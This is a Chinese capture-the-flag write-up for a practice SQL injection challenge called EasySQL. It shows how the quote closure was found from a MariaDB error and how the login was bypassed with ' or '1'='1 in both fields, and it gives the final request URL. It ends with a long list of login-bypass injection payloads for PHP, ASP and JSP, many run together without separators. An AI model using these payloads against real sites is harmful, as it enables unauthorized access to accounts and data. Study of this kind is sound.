知识点
- sql注入
- 万能密码登录
启动靶机
启动靶机,查看题目
页面有输入框,且题目为EasySQL,SQL注入无疑了。尝试登陆:
登陆失败,通过 ‘ 判断原SQL语句闭合类型,得到报错信息:
其中包含数据库信息MariaDB以及闭合类型为字符型,尝试万能密码登陆。
' or '1'='1
最终payload
http://07f5c249-6491-43d7-988e-7c7865f821bb.node4.buuoj.cn/check.php?username=1' or '1'='1&password=1' or '1'='1
PS:用户框和密码框都需要万能密码,可能用户名验证和密码验证没有在一条sql语句中
万能密码表
PHP
'or 1=1/*"or "a"="a"or 1=1--"or"=""or"="a'='a"or1=1--"or=or"''or'='or'') or ('a'='a'.).or.('.a.'='.a'or 1=1'or 1=1--'or 1=1/*'or"="a'='a'or' '1'='1''or''=''or''=''or''=''or'='1''or'='or''or.'a.'='a'or1=1--1'or'1'='1a'or' 1=1--a'or'1=1--or 'a'='a'or 1=1--or1=1--
asp/aspx
"or "a"="a')or('a'='a'.).or.('.a.'='.aor 1=1--'or 1=1--a'or' 1=1--"or 1=1--'or'a'='a'or.'a.'='a"or"="a'='a'or''='or'='or'1 or '1'='1'=11 or '1'='1' or 1=1'OR 1=1%00"or 1=1%00'xor新型万能登陆密码:用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)密码 1Username=-1%cf' union select 1,1,1 as password,1,1,1 %23Password=1..admin' or 'a'='a 密码随便
jsp
1'or'1'='1admin' or 1=1/*
